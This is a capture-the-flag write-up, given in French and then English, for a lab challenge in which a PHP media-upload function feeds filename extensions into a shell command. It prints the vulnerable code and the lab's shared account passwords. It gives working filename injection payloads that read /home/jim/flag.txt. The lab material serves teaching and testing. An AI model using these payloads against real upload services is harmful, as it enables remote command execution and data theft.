Write-up FileMe FR

Introduction

Exploiter une fonction file upload concernant les fichiers audio et vidéos afin d'obtenir une RCE sur le serveur web.

Environnement Technique

- **Système** : Image Docker basée sur Ubuntu avec serveur Apache.
- **Langage** : PHP

Configuration des Comptes

- Utilisateurs et leurs mots de passe :
  - **jim** : `6Sds,C8*53Krg#`
  - **root** : `6Sds,C8*53Krg#`
  - **ubuntu** : `6Sds,C8*53Krg#`

Architecture de l'Application

- **Dossier utilisateur** : Accès de `www-data` au dossier de `jim`.
- **Emplacement du drapeau** : `/home/jim/flag.txt`

Etape du Challenge

1. **Accès Initial** :
   - URL du site : `www.blingcheese.com` ou `localhost:port`
2. **Analyse du Code Source**
   - Découverte d'un message caché encodé dans le code source de la page d'accueil du site.
   - Le message caché est encodé en 'Base 64' révélant des informations sur un développement en cours '/inprogress.php' signé par l'utilisateur Jim.
3. **Exploitation via Upload de Fichier** :
   - Mécanisme permettant l'upload de fichiers média, avec une vulnérabilité spécifique dans le traitement des fichiers.
   - RCE sur le serveur.
4. **Retrouver le Flag**
   - lister les fichiers de l'utilisateur jim dans son répértoire

- lire le fichier flag.txt dans le répertoire de l'utilisateur jim

Détail Technique de la Vulnérabilité

Fonction d'Upload de Fichier

La fonction d'upload, écrite en PHP, est conçue pour accepter et traiter des fichiers audio et vidéo. Voici le code pertinent:

```
function upload($file): string {     $base_dir = __DIR__ . "/../upload/";     $ext
= strtolower(pathinfo("/" . $file["name"], PATHINFO_EXTENSION));     $filepath =
$base_dir . uniqid() . '.' . $ext;     $filetype =
mime_content_type($file["tmp_name"]);      move_uploaded_file($file["tmp_name"],
$filepath);      if (str_starts_with($filetype, "video/") ||
str_starts_with($filetype, "audio/")) {         $command = sprintf("ffprobe -i
\"%s\" -show_entries format=duration -v quiet -of csv=\"p=0\"", $filepath);
$duration = shell_exec($command);         return "Durée du fichier média : " .
$duration . " secondes.";     } else {         return "Fichier uploadé.";     } }
```

Explication de la Vulnérabilité

La vulnérabilité provient de l'utilisation de la fonction `sprintf` pour construire une commande shell qui intègre le chemin du fichier (`$filepath`) basé sur l'extension extraite via `pathinfo`. Si un attaquant parvient à manipuler l'extension du fichier, cela peut lui permettre d'injecter des commandes arbitraires qui seront exécutées sur le serveur. Voici les points clés de la vulnérabilité :

- **Manipulation de l'extension du fichier** : L'extension est dérivée directement du nom du fichier uploadé sans validation suffisante, permettant ainsi l'injection de commandes shell via des noms de fichier mal formés.
- **Exécution de commande via `shell_exec`** : La fonction `shell_exec` est utilisée pour exécuter la commande `ffprobe`, ce qui expose le serveur à des attaques si la commande inclut des éléments contrôlés par l'utilisateur.

Exploitation de la Vulnérabilité

Méthode d'Exploitation

L'exploitation de cette vulnérabilité consiste à envoyer un fichier avec un nom spécialement conçu pour inclure des commandes shell malveillantes. L'exemple suivant illustre comment un attaquant pourrait exploiter cette vulnérabilité :

1. **Poc de la vulnérabilité :

- Nom du fichier : `hello.mp3";command_to_execute;#`
- Ce nom de fichier inclut une commande terminée par un point-virgule, qui est une syntaxe valide pour exécuter des commandes successives en shell.

2. **Payload d'Exploitation** :
   - `test_media.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat ${sl}home${sl}jim${sl}flag${dot}txt\");';#`
   - Ce payload utilise des séquences d'échappement pour fermer les guillemets attendus par la commande `ffprobe`, insérant ensuite une commande PHP qui exécute `cat /home/jim/flag.txt`, permettant ainsi de lire le contenu du fichier flag.
   - le charactère '.' et '/' ne pouvant être interprété correctement dans ce payload il est nécessaire de créer nos variable au début afin de pouvoir construire notre requête.
3. **Payload craft par mizu (@kevin_mizu)**

```
filename="a.`cat $(env | cut -c16 | head -n 2 | tail -n 1)home$(env | cut -c16 | head -n 2 | tail -n 1)jim$(env | cut -c16 | head -n 2 | tail -n 1)* > x`" $(env | cut -c16 | head -n 2 | tail -n 1)` -> `/`
```

une approche différente qui ne repose plus sur l'utilsiation d'une payload php.

Séquences d'Exploitation

1. **Upload du fichier malveillant** : L'utilisateur soumet le fichier via le mécanisme d'upload de l'application web.
2. **Interception de la requête** : L'attaque nécessite souvent une interception de la requête (via un outil comme Burp Suite) pour modifier le nom du fichier après que l'utilisateur a choisi le fichier légitime mais avant que la requête ne soit envoyée au serveur.
3. **Exécution de la commande malveillante** : Lorsque le fichier est traité par le serveur, la commande malveillante est exécutée, résultant en l'exécution de code arbitraire sur le serveur.

Conclusion

Ce challenge expose une faille critique d'exécution de commande à distance dans une application web qui gère incorrectement le traitement des noms de fichiers dans les uploads de médias.

Introduction

Exploit a file upload feature for audio and video files to achieve Remote Code Execution (RCE) on a web server.

Technical Environment

- **System**: Docker image based on Ubuntu with Apache server.
- **Language**: PHP

Account Configuration

- Users and their passwords:
  - **jim**: `6Sds,C8*53Krg#`
  - **root**: `6Sds,C8*53Krg#`
  - **ubuntu**: `6Sds,C8*53Krg#`

Application Architecture

- **User folder**: `www-data` access to `jim`'s folder.
- **Flag location**: `/home/jim/flag.txt`

Challenge Steps

1. **Initial Access**:
   - Website URL: `www.blingcheese.com` or `localhost:port`
2. **Source Code Analysis**:
   - Discover a hidden message encoded in Base64 in the homepage's source code revealing ongoing development at '/inprogress.php' signed by user Jim.
3. **Exploitation via File Upload**:
   - Mechanism allowing the upload of media files, with a specific vulnerability in file handling.
   - RCE on the server.
4. **Retrieve the Flag**:
   - List files in Jim’s directory.
   - Read the `flag.txt` file in Jim's directory.

Technical Details of the Vulnerability

File Upload Function

The PHP file upload function is designed to accept and process audio and video files. Here is the relevant code:

php

Copy code

```
function upload($file): string { $base_dir = __DIR__ . "/../upload/"; $ext = strtolower(pathinfo("/" . $file["name"], PATHINFO_EXTENSION)); $filepath = $base_dir . uniqid() . '.' . $ext; $filetype = mime_content_type($file["tmp_name"]); move_uploaded_file($file["tmp_name"], $filepath); if (str_starts_with($filetype, "video/") || str_starts_with($filetype, "audio/")) { $command = sprintf("ffprobe -i \"%s\" -show_entries format=duration -v quiet -of csv=\"p=0\"", $filepath); $duration = shell_exec($command); return "File duration: " . $duration . " seconds."; } else { return "File uploaded."; } }
```

Vulnerability Explanation

The vulnerability stems from using the `sprintf` function to construct a shell command incorporating the file path (`$filepath`) based on the extension extracted via `pathinfo` . If an attacker manages to manipulate the file extension, they can inject arbitrary commands executed on the server. Key vulnerability points:

- **File extension manipulation**: The extension is derived directly from the uploaded file name without sufficient validation, allowing shell command injection through malformed file names.
- **Command execution via `shell_exec`** : The `shell_exec` function is used to execute the `ffprobe` command, exposing the server to attacks if the command includes user-controlled elements.

Vulnerability Exploitation

Exploitation Method

Exploiting this vulnerability involves sending a file with a specially crafted name that includes malicious shell commands. The following example demonstrates how an attacker could exploit this vulnerability:

1. **Proof of Concept**:
   - File name: `hello.mp3";command_to_execute;#`
   - This file name includes a semicolon-ended command, a valid syntax for executing successive commands in a shell.
2. **Exploitation Payload**:

- `test_media.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat ${sl}home${sl}jim${sl}flag${dot}txt\");';#`
- This payload uses escape sequences to close the expected quotes by the `ffprobe` command, then inserts a PHP command to execute `cat /home/jim/flag.txt`, thereby reading the flag file's content. The characters '.' and '/' must be correctly interpreted in this payload; hence, variables are created at the beginning to construct the request.

3. **Payload craft par mizu (@kevin_mizu)**

```
filename="a.`cat $(env | cut -c16 | head -n 2 | tail -n 1)home$(env | cut -c16 | head -n 2 | tail -n 1)jim$(env | cut -c16 | head -n 2 | tail -n 1)* > x`" $(env | cut -c16 | head -n 2 | tail -n 1)` -> `/`
```

An alternative method, we don't use php for the payload

Exploitation Sequences

1. **Upload of the malicious file**: The user submits the file via the web application's upload mechanism.
2. **Interception of the request**: The attack often requires intercepting the request (via a tool like Burp Suite) to modify the file name after the user has selected the legitimate file but before the request is sent to the server.
3. **Execution of the malicious command**: When the file is processed by the server, the malicious command is executed, resulting in arbitrary code execution on the server.

Conclusion

This challenge exposes a critical remote command execution vulnerability in a web application that incorrectly handles the processing of file names in media uploads.